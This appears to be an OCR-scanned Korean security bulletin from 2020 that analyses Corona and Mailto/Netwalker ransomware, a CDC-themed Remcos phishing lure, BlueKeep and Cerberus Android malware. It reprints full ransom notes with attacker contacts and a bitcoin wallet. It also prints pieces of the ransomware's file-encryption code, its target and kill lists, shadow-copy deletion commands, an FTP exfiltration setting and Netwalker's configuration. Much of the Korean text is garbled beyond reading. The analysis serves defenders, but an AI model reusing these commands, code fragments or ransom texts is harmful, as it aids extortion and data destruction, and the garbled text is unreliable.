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| HELP_ME_RECOVER_MY_FILES txt - Windows 2% - m} ®
otarm ETE MY0 Efv) ESZ
1 - What Happened to My Computer ?

Your business is at serious risk
There is a significant hole in the security system of your company.

We've easily penetrated your network and now all your files, documents, photos, databases, ..are safely
encrypted with the strongest millitary algorithms RSA4086 and AES-2356.

MNo one can help you to restore files without our special decodp

(corona decryption)

We have also uploaded a lot of files from your network on our secure server, so if you refuse to pay the ransom,
those files will be published or solded to competitors

2 - Can | Recover My Files ?

Sure, we guarantee that you can recover all your files safely.

If you want to restore your files write to recoba®0@protonmail.com and attach 2 encrypted files (Less than 3MB each) and we will decrypt them
Please don't forget to precise the name of your compagny and your unigue identifier key in the e-mail

But if you want to decrypt all your files, you need to pay.

You only have 5 days from this moment to submit the payment After that all your files will be lost definitely.

3 - How Do | Pay ?

Payment is accepted in bitcoin only. You can buy bitcoins from :

-https://www.coinbase.com
-https://localbitcoins.com

The final price of decryption is 300% .
First : Send 3008 worth of bitcoin

Second: send an e-mail to recoba%0@protonmail.cg
unique identifier key.after that, we will send you o

ecise the name of you compagny, your wallet 1D and your
i corona decryption tool|to restore all your files.

1111Be warned, we won't be able to recover your files if your start fiddling with them.111

Corona ransomware
No System |s Safe

Bitcoin wallet to make the transfer to is:
32bzWrWiXbWGSwB4gGTQt8RdzuNOVasIMd
Unique Identifier Key (must be sent to us together with proof of payment):

KNC

+9eXti1GWWIaBbmFbGTDG 02X U7 LLStWItyOXDjRT/GSv3aET/2NYPhNg 16m/H3x03/2B7Ce1vYKwIQM2UIgKAwdL1 phsoGnv2LGPTySQbooi0wiBIGGZU fAC3rITiIFsQJBETitytvSq
MsTOitK2rYSRgSgS1UAWYpjpyUP86IzouUDCxD7gudsZGUrxTaUIblvEx d+UQNpgPatzkMZdILrIZHgIN cVvPPRh3b3Fo1sumeli7 21fwulh GOC2/GWoK

+0ZXQ7 +wdF38X1VurlvT1g3x9PkPxKKRWSmwWBURIBCEIgyyvgVEK2Y3QQGFZInsyntMTUdb2UBJET Q==

Ln 38, Col 55 100%  Windows (CRLF) UTF-8

[ 1] 2L+ eI 2t S

Ce2 =Lt 2Hdo] HEEQ| T EIAERILICY

* A2 e HELE TR

1 —What Happened to My Computer ?

Your business is at serious risk.

There is a significant hole in the security system of your company.

We\ve easily penetrated your network and now all your files, documents, photos, databases, ...are safely
encrypted with the strongest millitary algorithms RSA4096 and AES-256.
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No one can help you to restore files without our special decoder (corona decryption).

We have also uploaded a lot of files from your network on our secure server, so if you refuse to pay the ransom,
those files will be published or solded to competitors

2—Can | Recover My Files ?

Sure, we guarantee that you can recover all your files safely.

If you want to restore your files write to recoba90@protonmail.com and attach 2 encrypted files (Less than 3MB
each) and we will decrypt them.

Please don' forget to precise the name of your compagny and your unique identifier key in the e-mail.

But if you want to decrypt all your files, you need to pay.

You only have 5 days from this moment to submit the payment. After that all your files will be lost definitely.
3-How Do | Pay?

Payment is accepted in bitcoin only. You can buy bitcoins from :

—https://www.coinbase.com

—https://localbitcoins.com

The final price of decryption is 300$ .

First : Send 300$ worth of bitcoin

Second: send an e-mail to recoba90@protonmail.com and don't forget to precise the name of you compagny,

your wallet ID and your

unique identifier key.After that, we will send you our corona decryption tool to restore all your files.

Corona ransomware
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No System Is Safe

Bitcoin wallet to make the transfer to is:
32bz2WWXXbWGSWB4gGTQt8RdzUNQVaSOMd

Unique Identifier Key (must be sent to us together with proof of payment):

O T =Lt 2MRl0= O A0S DRV K= ZHEAR] TS Y2l ol 0l E2= 58s 2+1&iLH.
OJ8 2H0i= 2020 ' 1 & 30 28 MXfE Ao= 201|H, TisHAI0A| ti=sket D0 thet =+1S ol
300$7tx|2] HIEZQ! ASsil XjZ2S Q7 &L

LY DIUS YSslch= T Ol 2t ZELCE (AES256)

: . (rijndaglManaged.
riindaglManaged. i Nl GetBy  rijindaelManaged.
rijndaelManag )
FiindaelManaged., = CipherMode.
Cryptod am = Cryptostream{file3tream, rijndaelManaged.CreateEncryptor
0, : !

Filestream fileltreamz = FileStream{string_0, FileMode.

M
Cinum = filestream?.ReadBytel ) I= -1

cryptoStream. YriteBytel( Inum 3

[122] IS F=

. nn non nn nn nn non nn no

llb(tll, lljpegll, llg_lfﬂ, Iljpg i png i php i CS i Cpp , rar i Zipll, llhtmlll, llhtmll, IIXISXII, llavill, llmp4ll, llpptll, "doc , dOO( i XlSXII’

IISXiII, IISXWII, llodtll, lthpll, llzipll, Ilrarll, Iltarll, Ilbzzll, "mpll.", Ilmk\/ll, llemlll, llmsgl, llostll, llpstll, lledbll, llsqlll, llaccdbll’ Ilmdbll’
nn nn non nn non n

Ildb l, llodbll, llmydll, llphpll, lljava i Cpp i pas i asmll, llkey i pf‘)(ll, llpemll, Ilp1 2", llcsrll, llgpgll, llaesll, ll\/sdll, "Odg i raW i

llne I, IISVgII, Ilpsdll, II\/mXII, llvmdkll, IIVdiII, Illay6ll, "Sqlite3", llsqlitedbll, Ilaccdbll, lljavall, llclassll, Ilmpegll, Ildjvull, "tiff"’ Ilbackupll’

"pdf", "cert’, "docm”, "xlsm", "dwg’, "bak’, "gbw”, "nd", "tlg", "lgb", "pptx’, "moV’, "xdw', "ods", "‘wav", "'mp3", "aiff", "flac’,
llm4all, IICSVII, llsqlll, llorall, llmdbll, "mdf", llldf", llndfﬂ, lldtsxll, llrdlll, lldimll
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st i 3=

cy
"C\\Users\\[MEXt AP\ \Desktop'
"C:\\Users\\Public\\Desktop"
"C\\Users\\[AFE2XH A\ \Documents'
"C\\Users\\[AM8Xt APE]\ \Pictures”
"C\\Users\\[MEXt AP\ \Desktop'
"C\\Users\\[AFE2XH A\ \Documents'
"C\\Users\\[AEAL AP\ \Music’
"C:\\Users\\Public\\Music"
"C:\\Users\\Public\\Pictures"
"C\\Users\\[AM8Xt A\ \Videos'
"C\\Users\\[A=Xt AP\ \Downloads'

st xe d=

C:\\Windows
C:\\Windows\\system32
C:\\Windows\\SysWOW64
C:\\Program Files\\Common Files
C:\\Program Files (x86)\\Common Files
C:\\Program Files

C:\\Program Files (x86)

s As=lol’| & OfHe| MH|A S X High
7ISE ol | flet A= EYULIC

gt Z2MA Bg Vs &

TSI, Of=

*MHIA B2 Y 71

avpsus
McAfeeDLPAgentService

BMR Boot Service

NetBackup BMR MTFTP Service
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*AH|A Highds}

SQLTELEMETRY
SQLTELEMETRY$ECWDB2
SQLWriter

SstpSvc

*OEMA E2 A 22

mspub.exe
mydesktopgos.exe
mydesktopservice.exe

Lot If efsel TIA| A2 =5 R 2l i 2 IMAS Aol | IR0 ALK 80ii= E=2317| Q0=

S Hd=+ol | S7IssHELIC.

* =S BB AFIGH= H20

"Delete Shadows /all /quiet”

"resize shadowstorage /for=c: /on=c: /maxsize=401MB"
"resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
"resize shadowstorage /for=d: /on=d: /maxsize=401MB"
"resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
"resize shadowstorage /for=e: /on=e: /maxsize=401MB"
"resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
"resize shadowstorage /for=f: /on=f: /maxsize=401MB"
"resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
"resize shadowstorage /for=g: /on=g: /maxsize=401MB"
"resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
"resize shadowstorage /for=h: /on=h: /maxsize=401MB"
"resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
"Delete Shadows /all /quiet”
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LS 2EKKdocx, pdf, xlsx, csv)2| B fip Off 2 =0k= 7150] |0 QX2 BIAE SHO= HOEL|C

= ZI

FTP =H|Q! ftp://files.000webhost.com/public_html/
ID FTP UserName
PassWord FTP Password
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w2t OfL=H T 2| HIE ot Skt Q=L Ol= 7189 IT M=kt Z2AMAT} MU= El=[X| S ol &t
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OIE2  'CDCHAN-00815.is0 E 2 M 3lHE S| MR IRE M0 A AXE oF SIS k=

Re: nCoV: Coronavirus outbreak and safety measures in your city (Urgent) - HAIX] (HTML)

Q
X QA 3 mee |[Fa=es Vo Bowes |0y WP @ eET Q
T am HE o o TEH ange wz oan owe DFET gy
y B EA - oma- | - BHE- 0 =s
Gk W= oA [ ols Bl @ BHE Sz S

CDC-Health-INFO <harrisnr@state.gov>
Re: nCoV: Coronavirus outbreak and safety measures in your city (Urgent)

2= A info@lsmiron.com

[, CDCHAN-00815.150
S 1

Distributed vis the CDC Health Alert Network
February 24, 2020
CDCHAN-00815

Dear info@lsmiron.com

The Centers for Disease Control and Prevention (CDC) eontinues embark on close monitoring of an outbreak of a 2019 novel coronavirus (2019-nCov) in
‘Wuhan City, Hubei Province, China that surfaced in December 2019.

CDC has established a system to prepare and coordinate a d and public health response.

We are Obliged to provide different ways to make available all oy i ion about safety measures and existing cases in your city.
Please kindly download the updated T for your k ledge. Please go through the cases above to avoid Potential hazards.
Sincerely

CDC-INFO National COntact Center
National Center for Health Marketing
Division of eHealth Marketing

Centers for Disease control and prevention.

24X LefolM= sl

(2] e O 21

EXIO FHiQ| AUROIA =S 22517 | Q5H THLE ‘Remcos’ ZEIUS FZXISO0| &2

ZOIC}. flet 22 2AfHTE TS Mol | #lelids Sx7F =230t 0AMS| URL 22 &2

— =71 |3

ofd F=E "BackdoorRemcosA™ BfA| HO= TITKSIA UOM, 23 2k

Threat Inside BIMH|A == S5l 2[210] 7ks0ICt
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oY 912 BILK, 55|, YOI OIST A7 LS BH ST OKy2l FRUIS 0f2510] O OIS SHIX} Y2 ¥
/)

22| A FUASLICE

DOSTIME fiFileTime ~ 16:29:32
DOSDATE frFileDate 02/27/2020

[2] B 274K I= 010 2t | <8 =t

oFd UC=RE] I[HS ZA2fol/| PloHA= il WS St 71KQ! ZAPH SQ0IT,. E47t 2F=et URL 1t
U2 2IHSHA| §= 0| 71201 A DRIRl +1= S20|AENE SoliA 25t A0t Bl A= =7t

X[ F7|1HC= HHO|ESIL HAGHOF SiCt.

SIXH LOFM OfM = S S Spyware Android Agent EIX| HOZ Tk QOO 2 AN 2AH M= Threat
Inside BMH|A F1=S Solf 21210] 7H55HCt
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Mailto (NetWalker) £#32)101, 71 WIERT e2f7] ARt

Mailto (NetWalker) Ransomware Targets Enterprise Networks

Mailto E== Netwalker 2t 24T SHE017} 7|1 HIERTE ol HEE 2= A= 77|12 Y=ol | A2kt
Ao LIEHHTE 2019 8 &, ID Ransomware OflA Mailto 2H= MZ2 ZHA017} WAZIRULE 0] A0S 0IE2

SolE DUl SFIRIOIA CHRACS,

=2 232 Toll Group O] 22| HERFTt Mailto HER2] SHS AUCHT LHS 0] & ’SS’AIOP b1

LL2ICk= ARMO| X2 BoiXICE O] HHdRlI0= ARE ‘I— SR M2 01291 Mailto 2t 2|1 QUX|ZE }E
= SILIE 2 Z47} Netwalker 2H= 0|22 ARSI QYUH Z{OZ LIGIKILL
Mailto / Netwalker 220

MalwareHunterTeam OfiA BleepingComputer 0ff St Mailto THAEOL| =2 MEC| Mall MAU2  Sticky
Password AZEQIZ &Gk A=RHCE

i

« 99exe Properties =5
| General | Compatibility | Security| Details |Previ0ns Versions|

Property Value

Description

File description  Sticky Password

Type Application

File version 8.04.34

Product name
Product version

Copyright® 2015 Lamantine Software a.s.

Size 277 KB
Date modified 2/5/202010:26 AM
Language English (United States)

Legaltrademarks =& OriginalFilename

Bemove Properties and Personal Information

[ 0K ] l Cancel ] Apply

[772!1] Sticky Password 2 B HABH I

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved. 22



O] 2d= 2=

7|t 7+ =490] I

ol
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ohel LIRIE 2 MUS Aot O] 2HMAIE 2418t Sentinellabs 2] Vitali Kremez= 0] 7+
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ATHE 4 QIC}

"mpk :"E cIJzspm07Loi9L5u0cxC+VZ/NjxWEOn7UgVE=",

"mode

"thr :1500,

"spsz

"namesz

"idsz =5,

"crmask :".mailto[{maill}].{id}",

"mail :["sevenoneone@cock.li" ,"kavariusing@tutanota.com"],

"1file :"{ID}-Readme.txt",

"lend

: "SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQPBbGWgZW5]jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHR1b
nNpb246IC57aWR9DQoNCi0tDQONCkImIGZvciBzb211THI1YXNvbiB5b3UgcmVhZCB0aGlzIHR1eHQgYmVmb3J1IHROZSB1bmNyeXB0aWSu
IGVuZGVKLAOKdGhpcyBjYW4gYmUgdW5kZXJzdGIvZCBieSB0aGUgZmFjdCB0aGFOIHR0ZSBjb21wdXR1ciBzbG93cyBkb3duLCANCmFuZCB
S5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3J1YXN1ZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQpO0aGVuIHd1IHJI1Y29tbW
VuZCB0aGF0IH1vdSBtb3Z1IGF3YXkgZndvbSB0aGUgY29tcHVOZXIgYW5KIGFjY2VwdCB0aGFO0IH1vdSBoYXZ1IGJ1ZW4gY29tcHIvbW1zZ
WQsDQOpyZWJIvb3Rpbmcvc2hldGRvd24gd21sbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3VOIHR0oZSBwb3NzaWIpbGl0eSBvZiBy
ZWNvdmVyeSBhbmQgZXZ1biBnb2Qgd21sbCBub3QgYmUgYWJIsZSBObyBoZWxwIH1vdSwNCm1 0IGNvAWxkIGJI1IGZpbGVzIGO9uIHROZSBuZXR
3b3JrIGJ1lbG9uZ21luZyBO0byBvdGhlciBlc2Vycywgc3VyZSB5b3Ugd2FudCB0byBOYWt 1 THRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQ
oNCk91ciBlbmNyeXB0aWOuIGFsZ29yaXRobXMgYXJ1IHZ1cnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHd1bGwgcHIvdGVid
GVkLCB5b3UgY2Fud3QgaGIwZSBObyByZWNvdmVyIHRoZW0gd210aG91dCBvdXIgaGVscC4ANC1RoZ SBvbmx5IHdheSBObyBnZXQgeW91lciBm
aWx1lcyBiYWNrIGlzIHRvVIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGR1Y3J5cHR1ciBwemIncmFtLg0KRG8gbm90IHRyeSBObyB
YZWNvdmVyTH1vdXIgZmlsZXMgd210aG91dCBhIGR1Y3J5cHQgcHIVZ3JhbSwgeW9l heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IH
dpbGwgYmUgaWlwb3NzaWJsZSB0byByZWNvdmVyLgOKDQpXZSBhZHZpc2UgeW91IHRVIGNVvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZ
Swgb3RoZXJ3aXN1TIHRoZXJ1IG1zIGEgcG9zc21liaWxpdHkgdGhhdCB5b3VyIGZpbGVz IHdpbGwgbmV2ZXIgYmUgemV0dXJuZWQuDQpGb3Ig
dXMgdGhpcyBpcyBgdXNOIGJI1c21uZXNzIGFuZCBObyBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGR1Y3J5cHQgeW9
1THNVvbWUgZmlsZXMgZm9yIGZyZWUsIAOKYnVOIHd1IHdpbGwgbm90IHdhaXQgZm9yIH1vdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbW
FpbCBjYW4gYmUgYWJ1c2VKLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHROZSBkZWNpc21vbi4NCgOKOKFvbnRhY3QgdXM6D
QoxInttYW1sMXONCjIue2lhaWwyfQOKDQOPEb24ndCBmb3JInZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaWdgdGhlIGVEYW1sOg0Ke2NvZGV9

'
"white :{

"path :["*system volume

information", "*windows.old", "*:\users\*\*temp", "*msocache”, "*:\winnt", "*Swindows.~ws", "*perflogs", "*boot

4

:\windows", "*:\program file*",6 "\vmware", "\\*\users\*\*temp", "\\*\winnt

"\\*\windows", "*\program
file*\vmwaree", "*appdata*microsoft”, "*appdata*packages"”, "*microsoft\provisioning", "*dvd
maker", "*Internet Explorer","*Mozilla","*0ld Firefox data","*\program file*\windows media*", "*\program
file*\windows portable*","*windows defender", "*\program file*\windows nt","*\program file*\windows

[ 2] 2o T o

A0 HEES i=ets MR 20, T, XS 0[ECAES Solf B[R] Mailto = HE HEH02t

HIWZHS O AHLA 71 S0IESAES AKZRICE 11 02, ASeE Melsh= S0 S52 Of2Het 2T,

*system volume information

*windows.old
*\users\*\*temp
*msocache
*\winnt
*$windows.~ws
*perflogs

*boot
*\windows
*\program file*
\vmware
\\*\users\*\*temp
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\\ \winnt nt

\\*\windows

*\program file*\vmwaree
*appdata*microsoft
*appdata*packages
*microsoft\provisioning

*dvd maker

*Internet Explorer

*Mozilla

*Old Firefox data

*\program file*\windows media*
*\program file*\windows portable*
*windows defender

*\program file*\windows nt
*\program file*\windows photo*
*\program file*\windows side*
*\program file*\windowspowershell
*\program file*\cuas*

*\program file*\microsoft games
*\program file*\common files\system em
*\program file*\common files\*shared
*\program file*\common files\reference ass*
*\windows\cache*

*temporary internet*

*media player
*\users\*\appdata\*\microsoft
\\*\users\*\appdata\*\microsoft

Mailto 2HMRI0l= DRI AUS3ISH S mailto[{mail 1}]{id}2t
SslEl A2 1.docmailtolsevenoneone@cock li].77d8b 2F
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o

o

GO [1 > test

Organize v

| b ., Favorites

4] Libraries

*. Documents
4. Music g ; g : 5 : 7 ; g
i l.docmailto[seve  1jpg.mailto[seve 1lpng.mailto[seve 2.docmailto[seve 2jpg.mailto[seve 2.png.mailto[seve 3.doc.mailto[seve
b & Pictures noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cock.li
» B Videos 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b

> 9% Homegroup

Include in library »

Share with v

Slide show

New folder

v‘ +5 ‘ | Search test

1

» & Computer
= 3jpg.mailto[seve  3.png.mailto[seve 4.doc.mailto[seve 4jpg.mailto[seve 4.png.mailto[seve 5.docmailto[seve 5jpg.mailto[seve
& Network noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli
1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b
5.png.mailto[seve  6.doc.mailto[seve  6.jpg.mailto[seve  6.png.mailto[seve 7.docmailto[seve 7,jpg.mailto[seve  7.png.mailto[seve
noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli  noneone@cockli
1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b 1.77d8b
151 items
[(=3] essk= T
[Crs A9l = | = {}_ (o) VS| =2 AAMS 2l=0| AlSHSE & =
ob eMY0l= I O|S0| {DI-Readmetxt QI TMMEES MMSILE HTRUSO0| AASH st HAEN|AM=

4
o

A EO| 0|F0]| 77D8B-Readme.txt 2 &=L

"4 77D8B-Readme.txt - Notepad2
File Edit View Settings 2
DEQH| | ¢ @A &6 Q26|
1Hi!
2Your files are encrypted.
3A11 encrypted files for this computer has extension: .77d8b
4
s
5
7If for some reason you read this text before the encryption ended,
sthis can be understood by the fact that the computer slows down,
gand your heart rate has increased due to the ability to turn it off,
10then we recommend that you move away from the computer and accept that you have been compromised,
11 rebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,
127t could be files on the network belonging to other users, sure you want to take that responsibility?

160ur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.
17 The only way to get your files back is to cooperate with us and get the decrypter program.

18Do not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.
19

20We advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.
21For us this is just business and to prove to you our seriousness, we will decrypt you some files for free,

22but we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.

23

24 Contact us:

251.sevenoneone@cock. 11

26 2. kavariusing@tutanota. com

27

28Don't forget to include your code in the email:

20 {code_a35f346f_77d8b:

30 A N XX AN MERA VX AAREE N nnv SR A K e r RN

3L AN XA XN AEAK o A EY KR AR KN K NAN e

32 4 X AN S NANRINAAS xR/ X RNy SN o XK

33 3N XY XN K NN 7 A NI A SN Lo

34K 0N AR AR AN AN VARG N AR

35 A s X K s v KKKA FU

Ln1:35 Coll Sel0

< I »
174 KB UTF-8 CR+LF INS Default Text

[72!4] Maitto / Netwalker 2HE
0] 2HAML|010q| CHet EA2 OFR| 2l S0|H, F=2 S35}

Eo DEA0|2X| O;II:II— ?;l'g

== U= & US| E= LXIX| 52 SEHOICH,
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0] 2KY[012] 0IF2 Mailto 217}, OL]H Netwalker 171?
HE M==2 -0t 2AEE Sk SHS0] 20 JHEAPE £21 0[S0 et ZAIE 2=, Of=fet
BAE & + Rl 3% HRE=E 0| IOV A8dk= SFEXE It OIFE H=H. Mailto 2HE%l|0{0= OIS0

Ciet EAPE @47 H=0H 2FERI0IN OIS [t AFSoll U SHXIZH L0t = Covewave 7t O] 2HER02]

==t =5 A = =0 Zut TP} 0] 00 22! 01F0] ‘Netwalker F=0| BioiXCt

[m | Netwalker Decrypter |
|
(@ Auto decrypt { Manual decrypt
Brovwse file
| | brovge |
Browse folder or dizk
| | brovrse |
[T Delete crypter note files
Decrypt I

[ 5] Netwalker 255+E

[MEpA O] 0] &K OIS Netwalker 7H HEX|2E 0[0] Mailto 2 M V| =0l 255 E017| #lofl 7[E
0IZS MEdk= E<7H Htt

[EX https:/ /www.bleepingcomputer.com/news/security/maitto-netwalker-ransomware-targets-enterprise—networks/
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QIE{L0Y Il OJ2 T 5 O et BlueKeep Ofl ZIFH

Cybersecurity warmning: Almost half of connected medical devices are vulnerable to hackers exploiting BlueKeep

T
mjo

QIE{SlI0) HZE 2|= FH[S0| EECHA| BlueKeep Of F2fet A= LIER 2iXfQt H ZIES0| AO|H S22
7104l XGHCEL BlueKeep 2 ZfA WZ4=l OO|IZATDEO| 242 HIAIE TIZEZF (RDP) AH|AQ| F|of
Windows 7, Windows Server 2008 R2, Windows Server 2008 0| ¥&k2 FLt O0[F2ZATELE= 2019
BlueKeep Off Chgt THX|S LHHOM, Oj= NSA 2t F= NCSCE ZEalet 2ot I3 Fofet A|AHS IHR[SY
HiI5k= 715 Z1E Ul BlueKeep 2 WannaCry £ THEE2|=0| YESt EternalBlue 2+ RARSHHHAIOZ 2
HHEE =~ US A0[2h= 27 UULCE SEXTH BIEX0I A0 S4tok! B2 A= ARES SEH

717152 BlueKeep Of Fofet 2 YX|=T AACE

I

]

u Nkl

oy
{0

N
0

o o

|

o X
HU

Ol=A AOJH =t 2AIRI GyberMDX Off M=FH, At HH W =2 711 & 22%7t XIS kK| 0t
BlueKeep 0| '=EE|0] QU= A2 LIEFRTE B=R0M 2elizl= QIES A2 o271719] R &8 77|18 =
45%2 °of BEIZ0| Fofet A= Cofiutt EE HERFN HZE 717|0k UAKd ZH| 2LE|, AA0],
257171, O] 7|A SOI UCL O3t 717171 THX|=[X| RHUS EBR, HEH HERTL} 2AIS0| BlueKeep = 2=
oISl A0 LiohS IS &~ UCt SR BREUM= XEXHCZ RIS E|GH0F oF7| 20| YH0[ES Plol
7P7I1E & ARIO| 253l THXIPt Oft2 J&0|ot Eot & HIEAT S| 2= HFUE HOsH IT £A0IA HXIE

2ol BT M £ Ur

HEON Tdot= F2 =Ml § oiits AIH0| SHE AZEJNE AlSelitt= HOICL o S% EEH
HEXFOM= BlueKeep Off F{folil OIO|Z=ZAZENAM T OfY XIHSHK| = xR 7 & OFIIK| £5]
ArZot Ut EE HERIE W 7 AREUIM 2=7|7I1E AL 2S6H0F o dEY 32, 0] 7I7IE LHX|
HERZOIM Z2I5HAL 21 QB HES XY XS HHIU. Geffen 2 NAC £FU0[Lt LS YHS Soff
HERISLEVIAN o| 225t HEZ S0Q= Eails XIToh= X0 =50] 2 o= QT 2l HRACL SIKITH 71
SS90t 2 BlueKeep FFH0]| CHet XIS 7Hset of ®e| MEdhk= Z0IHt 2k 2o HHI0IES HE2 oid

AI1E b 2ot offdoh= AEOICt.

[Ex{https://www.zdnet.com/article/cybersecurity-waming-almost—half-of-connected-medical-devices—are~vulnerable-to-hackers—exploitin
g-bluekeep/
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Android malware can steal Google Authenticator 2FA codes

Hot eeiso| T2 Q7] 2 S5 MME OTP 2 256101 ZHY 4 U QIER0|S opTC wES

UZAMCH D HRALE 712 2UB7 = B2 22121 AEO0| 0I5 2US(2FA) Al ABSH= ZHIY Ho|Ct.

722 Al 2010 H 0] ZHIH QIS HS SAIML. O] ¥=2 ASAP 22121 AP 23218 o =191 FHofl
YH5H0F St= 6~8 Al2| Z=2 Wdolt] XSelCt +=22 SMS 7|2t OTP 0f Liigh TRt 2 0] 2K57|S SARIC
T2 U587 T== AEAS] ADEZ0A HE=LT OPHSHA] o2 2HIY HIERISE Sl OISoHA| &71 =0
SMS 7|2t QIS AL QFHet 2102 ZIENT QLY.

CERBERUS, 2t5712]| OTP &5 7Is 715l

ThreatFabric 2] HO HAYES HIME WHs| QI=7|9] OTP £ Ei|= 7158 Zdlek= (erberus MES
AL BHRACE Cerberus = 2019 H 6 & M=0| EA|E CIE=0(E W E=0[=0ICY, 0| E20|=0H= E2Y
T2 2UZESI] 1= Q57| OfE2IA|0[M0IN 2FA TEE 2 5= QUL ESH QIF7| 40| A3 S Z2, aid
QIEHO|AL| LIRS H0}2} (RC MHE &St 4 QIC ThreatFabric 2 0] ME2 71s0| SixH 22121 i Tyl
11 3 HilE= Cerberus 2 HTEOME 2t =0 X 2T SfRiCt 2|0 WAE Cerberus HHEE O]
HIAE AR A0 = FEE|H, HE AY L0 SHE = US A= HOICHT TRACt

23 APH0lM 0I5 2SS &6/ | Holl M=22 7Is 7HEret ez Hof

ATRE2 Cerberus W EZ0|FOV} 7RE 49| SiA AHTEQ! A FE ESOIZO(RAT0IN LEMO=
HOIE £ U= A SYUSH 7SS RSt 0| iR <=5t 021! BIRACE Cerberus 2FAk= O RAT 7152
Solf HA0= ZEE 717(0f GHASI0] 7|7| ARKIL| WA F2|HIES AZs 22121 WZof| 2921511, 0fF 2150|
HEEN UAS 82 257] OIP 25 7Is8 Sl 0I5 25s g = W =t AFHES2 Cerberus
EZ0|=07t 2201 W A" 2 015 Q15 HRA| 0] 7|58 Ae A= FEJMX(T O|H[Y B2 HX[eh I=
MEA, A4 O|C|0] A, CIERH SOiM 0F Q50| A2l CHE AE0| 0[F 48 =+~ U 7Isdx Ct
SHRACL,

K@= =] M2 o 280 AEIE HETO| OIS Q15 £F45 3 = UL ek 0] 7|50 2l=st
HE 250l Cerberus 2t 2VH| HIEE 22 0] EZ0|=0k= YHTE A2 HE|EE 554kt Z0|C Cerberus Off
CHSH XPMISH LR ThreatFabric 2] EOAM0IM 015 4= QLT

0z

[EX https:/ /www.zdnet.com/article/android-malware-can-steal-google-authenticator-2fa—codes/
https:/ /mwwithreatfabric.com/blogs/2020_year _of the rat.
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